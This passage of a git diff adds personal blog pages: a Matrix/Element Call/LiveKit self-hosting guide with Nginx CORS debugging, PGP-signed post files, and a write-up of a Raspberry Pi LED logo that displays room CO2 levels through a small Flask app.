    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    +
    Access-Control-Allow-Origin cannot contain more than one origin.
    +Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks.
    +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSpglxAArFNgxheR8m2r6QvtoEuHJwI51WQteu+0un0FiIfHKtFPcXd2HiVqzODu
    +YZvIGCAecMURQMRvrgB8cO3ebY8Yi9EECnC1sHsluE05GOuro5Htja7TbsGxwTc3
    +PIe+zju7lIhTHonqLogUyyunhWxOfg1RCaSjp3n6k/r2iEamgKu6Cihrv54wstGa
    +SVJbwubie1D9TPcXU3ynC+ynNBcmVevFl7g/X7Ie8Pw0SP1dJF+we5iVqUrZgPO2
    +AudHlWRm13j7Xifv/JxqymkZV1XiShIY8Mb0Ju8m5+HjkoIaZDtSfFyt+AwPdHDQ
    +m3sMXA7yZUvy+pXtziwrOnHFAez22goAr9Ar9KcwGQgRvyxKuuKIuTq+yxtCuXBF
    +fPWo5pL0rMtIfwRyaiiX9bwV+WbBXNhghTPnaxuQ3CWkLdiwaycI7xPDAg8FzFAR
    +7yoN0vqhKSvZlAL1OQS+4yRcXnguq7UY9UF+drG0f0QpC3aht1QgrJ04gvDp2BOk
    +ymmlxCxUWQrFSqDThjv7WFCclamKTimCODKWvIG6sjQcJuLCg9CXRl+ZMvwobQqH
    +Tv8cm8PMimqJppUodB3Ig5zP3ZkVcK8uFm5XqoUnasqDVLLJaRcCu+Qt4h9gZ2w6
    +Q3Q6K/zPZcKEIrwJfczWotSgG0g8dnuMUUYALWTbRrGjN0mgCss=
    +=yHZZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/matrix_setup.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/matrix_setup.md.asc
    +gpg --verify matrix_setup.md.asc matrix_setup.md
    +  
    +
    + + +]]>
    Hello Worldhttps://blog.alipour.eu/posts/hello-world/Mon, 25 Aug 2025 08:53:38 +0000https://blog.alipour.eu/posts/hello-world/<p>This is a test hello world post just to make sure everything works!</p> +<hr> +<div class="signature-block" style="margin-top:1rem"> +<p><strong>Downloads:</strong> +<a href="https://blog.alipour.eu/sources/posts/hello-world.md">Markdown</a> · +<a href="https://blog.alipour.eu/sources/posts/hello-world.md.asc">Signature (.asc)</a> +</p><details class="signature"> +<summary>View OpenPGP signature</summary> +<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE----- +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM +jSpEQQ//WGvzlIkJyaez/yiM50pAlVusmd8LsNXrAPj97ZjyAiY&#43;8puTLs6Na2t7 +SfwQP03lYHajkmNmH1Sq2vCVTnTWcWOc81AUW7o5fAUl47FT2CzqwaimpGCxUhCB +IOvJT8CCXtLroLXqHk8bfLc8s6iGTQt0f2iV2D2TzPLHOEeh27JuWXu8FQX&#43;uFYE +B3ioZqc4wJyDFaGWO&#43;ZLEOBXPMR837rztabWYhqOkCuKNlZ06zTF6e4O0ZQ4nNVC +roZVMsh0voreT700bmzJmN5QJngzX0c/cmlMBXzsyQ8BDlmmAj92atR24a5AQ7vZ +dSyHfXs/or3HlAWCDPfyZOMM9y0PVIuX&#43;odMAUq13Ec2gIZvYa6NPAk0fnQrmjYJ +NZ13gDdb0I7My0KLSCDpTTajOZIf9ExdM9Ogpp8wix1kZuxNdJ4/ya9PhkOh8wEc +62eMm1khV99Gljg&#43;XbAG6A0KI7nO5TS464/JkU1&#43;d/inWjXmSkocTep9p1H/M&#43;nt +7jvNN/agYJh5HOuiA34zli8v2/GflACgFlE&#43;AcGR7cb9CxicTuzs8K&#43;kLzQBQSep +oy8FiFCh8msbfmCmvKANkU3nO27NmHbNu9e40A/vxtPZtM0zJnngb/B&#43;5rhDP4uT +6Q1OmbB4xs7jM&#43;WX1X7pHI2XBDNlAGy8hi4rZnmXqhMe4rVZJVo= +=kuAP +-----END PGP SIGNATURE----- +</pre> +</details><p><em>Verify locally:</em></p> +<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/hello-world.md +curl -fSLO https://blog.alipour.eu/sources/posts/hello-world.md.asc +gpg --verify hello-world.md.asc hello-world.md +</pre> +</div>This is a test hello world post just to make sure everything works!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSpEQQ//WGvzlIkJyaez/yiM50pAlVusmd8LsNXrAPj97ZjyAiY+8puTLs6Na2t7
    +SfwQP03lYHajkmNmH1Sq2vCVTnTWcWOc81AUW7o5fAUl47FT2CzqwaimpGCxUhCB
    +IOvJT8CCXtLroLXqHk8bfLc8s6iGTQt0f2iV2D2TzPLHOEeh27JuWXu8FQX+uFYE
    +B3ioZqc4wJyDFaGWO+ZLEOBXPMR837rztabWYhqOkCuKNlZ06zTF6e4O0ZQ4nNVC
    +roZVMsh0voreT700bmzJmN5QJngzX0c/cmlMBXzsyQ8BDlmmAj92atR24a5AQ7vZ
    +dSyHfXs/or3HlAWCDPfyZOMM9y0PVIuX+odMAUq13Ec2gIZvYa6NPAk0fnQrmjYJ
    +NZ13gDdb0I7My0KLSCDpTTajOZIf9ExdM9Ogpp8wix1kZuxNdJ4/ya9PhkOh8wEc
    +62eMm1khV99Gljg+XbAG6A0KI7nO5TS464/JkU1+d/inWjXmSkocTep9p1H/M+nt
    +7jvNN/agYJh5HOuiA34zli8v2/GflACgFlE+AcGR7cb9CxicTuzs8K+kLzQBQSep
    +oy8FiFCh8msbfmCmvKANkU3nO27NmHbNu9e40A/vxtPZtM0zJnngb/B+5rhDP4uT
    +6Q1OmbB4xs7jM+WX1X7pHI2XBDNlAGy8hi4rZnmXqhMe4rVZJVo=
    +=kuAP
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/hello-world.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/hello-world.md.asc
    +gpg --verify hello-world.md.asc hello-world.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/posts/inet_logo.asc b/public-clearnet/posts/inet_logo.asc new file mode 100644 index 0000000..612cb51 --- /dev/null +++ b/public-clearnet/posts/inet_logo.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfAwYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qpE8QAK6SQRXn7tg6fdXP8ZtsRNLE +3nOc3esCbMYzOT7a4/GXt0uAuSpwNpkz+PS2vHFQwXQZqW3XVJ2VBkbUjgdcuDf1 +Y2yE4mNkZQvdbSepHx7HWvxjXRqfd4akRFD9nox5LMcSGTKyyirb1sfTxBGT1GPB +4RRHYeHuVNrnmBQyvb+gGTRbK0m4VoXYBTqM6HmWJFHTxDSuyRJe6aWbU2zOPpDd +DiKh4BWgq+kuailwWIJmLWjUfI5CLakCAKZPWx/COGcxvUh0qiXHqwKThaUJV50X +2VwehGCWRlUJXuYd7eE2jgMmBC+UgmEri4oUU69ofsAPVteI0St3aDegyR/g5KuZ +MJfAgWwfg0oLTQpJ9c+xkpDcRz1iRLXcOTVRW0WdLgOF1hRxS1C0fmSNQoQG7i04 +MpBjNy+SJpheyzUextzg5z/9hDtOmhdQHMJgHgO93o62UwBraQyj3Qesh2O7rCoI +hxV37sBWgXZYMra13H9Et0q7Nur/OU6d/WDWkbEWPhmhfuusoBdcrjjPE4xzFPv8 +pdbHxCQIXmb6ns8oQxL81Ue7flSFsfzeVoVMisC8tGN+G0nNPFexXfynSrAMAU7i +hfSiCQUjsqVZJ+Ao7uNHXRVf+bB4jGWZya7Upq/ZIMSJQGi0aZevY72SqZa/BpEJ +7CFj2KaKaQ/tZYLK34DZ +=AMrA +-----END PGP SIGNATURE----- diff --git a/public-clearnet/posts/inet_logo/index.html b/public-clearnet/posts/inet_logo/index.html new file mode 100644 index 0000000..3180efd --- /dev/null +++ b/public-clearnet/posts/inet_logo/index.html @@ -0,0 +1,160 @@ +INET Logo That Breathes — From CAD to LEDs to a Calm Little Server | AlipourIm journeys +

    INET Logo That Breathes — From CAD to LEDs to a Calm Little Server

    Six looks of the INET LED logo
    Design → print → solder → code → glow.

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D

    The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!

    So I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.

    This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I’ll try to include as much detail as I can.


    1) Sketch → CAD → Print

    Fusion design + logotype

    I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:

    • Mounting bosses for the front diffusers (M2 screws),
    • Cable holes between chambers (rounded to avoid cutting silicone wire), and
    • A small wiring bay for the controller and power.

    I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.

    The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.


    2) The Look I Wanted

    Animations collage

    I wasn’t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I’m happy with it and want to let it be there doing it’s job.


    3) The Tidy Mess Behind the Panel

    Hardware collage

    Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:

    • A 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers.
    • A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot.

    I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.

    The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won’t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD


    4) A Web Panel that Stays Out of the Way

    UI collage

    The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.

    There’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it’s not funny for anyone to fidn this out when looking at your creation. So… yea, I took precautions not to see people getting seizures looking at my creation. :-)


    5) The Color Language for Air

    The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:

    • < 500 ppm: Cyan — outdoor‑like fresh air.
    • 500–799: Green — good.
    • 800–1199: Yellow — getting stale.
    • 1200–1499: Orange — poor; you’ll feel it.
    • 1500–1999: Red — ventilate now.
    • ≥ 2000: Purple — the logo is politely yelling.

    I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.

    By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it’s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it’s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.


    6) The Code — a guided tour (no giant blob, promise)

    This whole project runs from a single Python file. Think of it like a tiny orchestra:
    one thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.

    Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross).


    6.1 Configuration (the knobs)

    Let’s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.

    LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255
    +SCHEDULE_PATH="schedule.json"
    +DB_PATH="sensor.db"
    +SAFE_MODE=True  # hide flashy animations by default
    +

    Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.


    6.2 Strip setup + frame-diff (no flicker magic)

    Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.

    frame = [(0,0,0)] * LED_COUNT
    +_dirty = False
    +
    +def _set_pixel(i, r, g, b):
    +  # only touch hardware if the value actually changed
    +  if frame[i] != (r,g,b):
    +    strip.setPixelColorRGB(i, r, g, b)
    +    frame[i] = (r,g,b)
    +    global _dirty; _dirty = True
    +
    +def flush():
    +  if _dirty: strip.show(); _dirty=False
    +

    Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.


    6.3 A tiny color wheel helper

    Classic rainbow helper used by a few animations:

    def wheel(pos):
    +  # 0..255 → (r,g,b)
    +  ...
    +

    Why it’s like this: I’ll use it again and again; it keeps color math out of the animations.


    6.4 State & orchestration

    Let’s hold a registry of animations, a stop flag, and the currently playing thread.

    animations = {}
    +stop_event = threading.Event()
    +current_thread = None
    +
    +def register(name, safe=True):
    +  def wrap(fn):
    +    animations[name] = {"fn": fn, "safe": safe}
    +    return fn
    +  return wrap
    +
    +def run_animation(fn):
    +  # cooperative hand-off: stop current, start next
    +  if current_thread and current_thread.is_alive():
    +    stop_event.set(); current_thread.join()
    +  stop_event.clear()
    +  t = threading.Thread(target=fn, name=fn.__name__, daemon=True)
    +  t.start(); globals()["current_thread"] = t
    +

    Why it’s like this: adding a new animation is a one-liner @register("name"). Clean exits prevent torn frames and half-drawn comets.


    6.5 Animations (the mood)

    Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().

    • redpulse — calm breathing in red; great default.
    • colorwave — slow rainbow that reads clearly behind diffusers.
    • comet — a single head with a fading tail orbiting the logo.

    They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.

    Why it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.


    6.6 CO₂ color language (with smoothing + hysteresis)

    The star of the show. Now map ppm to color bands and keep transitions human-pleasant.

    • < 500: Cyan (fresh)
    • 500–799: Green
    • 800–1199: Yellow
    • 1200–1499: Orange
    • 1500–1999: Red
    • ≥ 2000: Purple
    BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,,(123,44,191))]
    +EMA_ALPHA=0.15; HYST=35
    +
    +# Every tick:
    +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2
    +band = hysteresis_aware_band(ema, last_band, HYST)
    +target = BANDS[band].color
    +current = lerp(current, target, 0.10)   # gentle hue easing
    +level   = breathe(0.25 Hz, low=10, high=220)
    +draw all pixels = current * level
    +

    Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.


    6.7 Optional SCD41 sensor thread (the polite listener)

    If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.

    def _start_sensor():
    +  try:
    +    scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement()
    +  except: return  # sensor optional
    +  def loop():
    +    while True:
    +      time.sleep(5)
    +      if scd4x.data_ready:
    +        co2_data.update({...})
    +        db.insert(timestamp, co2, temperature, humidity)
    +  threading.Thread(target=loop, daemon=True).start()
    +

    Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.


    6.8 Scheduler + 90-minute override (humans win, then reset)

    A background thread asks, every few seconds, which mode should be running:

    1. If the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI).
    2. Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse).
    3. Save/load the schedule atomically to schedule.json.
    def scheduler_pick():
    +  if now < override_until: return override_mode
    +  for row in load_schedule():
    +    if matches(now, row): return row["mode"]
    +  return "redpulse"
    +

    Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.


    6.9 The web panel (tiny Flask, big buttons)

    Three pages, no fuss:

    • /status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity.
    • /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation.
    • /schedule — simple table editor; Add Row and Save; writes atomically.
    @app.post("/set")
    +def set_mode():
    +  mode = request.form["mode"]
    +  minutes = clamp( int(form["duration"]), 0, 180 )
    +  set_override(mode, minutes)
    +  run_animation(animations[mode]["fn"])
    +  return redirect("/control")
    +

    Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.


    6.10 Boot choreography

    At startup I:

    1. Try the sensor thread (if hardware is there).
    2. Start the scheduler thread.
    3. Immediately play redpulse (so there’s a friendly glow right away).
    4. Start Flask; on shutdown I clear the strip.
    if __name__ == "__main__":
    +  _start_sensor()
    +  threading.Thread(target=scheduler_loop, daemon=True).start()
    +  run_animation(redpulse)
    +  app.run(host="0.0.0.0", port=5000)
    +

    Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.


    TL;DR (but keep the vibes)

    • Frame-diff = no flashes.
    • EMA + hysteresis = smooth, truthful color.
    • Breathing = presence, not signage.
    • Threads per thing (LEDs / sensor / scheduler) = no fights.
    • Atomic files = no corrupted schedules.
    • Safe Mode by default = people > pixels.

    That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.

    Why this shape of code?

    • One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights.
    • Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests.
    • Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule.

    No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don’t you agree?


    7) Sensor Database — what it stores, where it lives, and how far it goes

    This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.

    What’s stored

    A single table called readings:

    CREATE TABLE IF NOT EXISTS readings (
    +  timestamp   TEXT PRIMARY KEY,   -- "YYYY-MM-DD HH:MM:SS"
    +  co2         INTEGER,            -- ppm
    +  temperature REAL,               -- °C
    +  humidity    REAL                -- %
    +);
    +
    • One row per sample (typically every 5–60 seconds; slow it down to reduce writes).
    • timestamp is the primary key → easy “latest” queries and natural time ordering.

    Where the file lives

    • Path is configurable via env var DB_PATH (see your systemd unit).
    • Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db).

    Check size:

    ls -lh /home/pi/inet-led/sensor.db
    +

    How writes happen (and why it’s safe)

    • The sensor thread owns I²C and inserts a row only when the sensor reports data_ready.
    • Inserts are short and journaling protects against power loss.
    • For friendlier read/write concurrency, enable WAL once at startup:
    PRAGMA journal_mode = WAL;
    +PRAGMA synchronous = NORMAL;
    +

    Typical size & retention

    Back-of-envelope:

    • ~100–200 bytes per row (including overhead).
    • 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day55–110 MB/year.
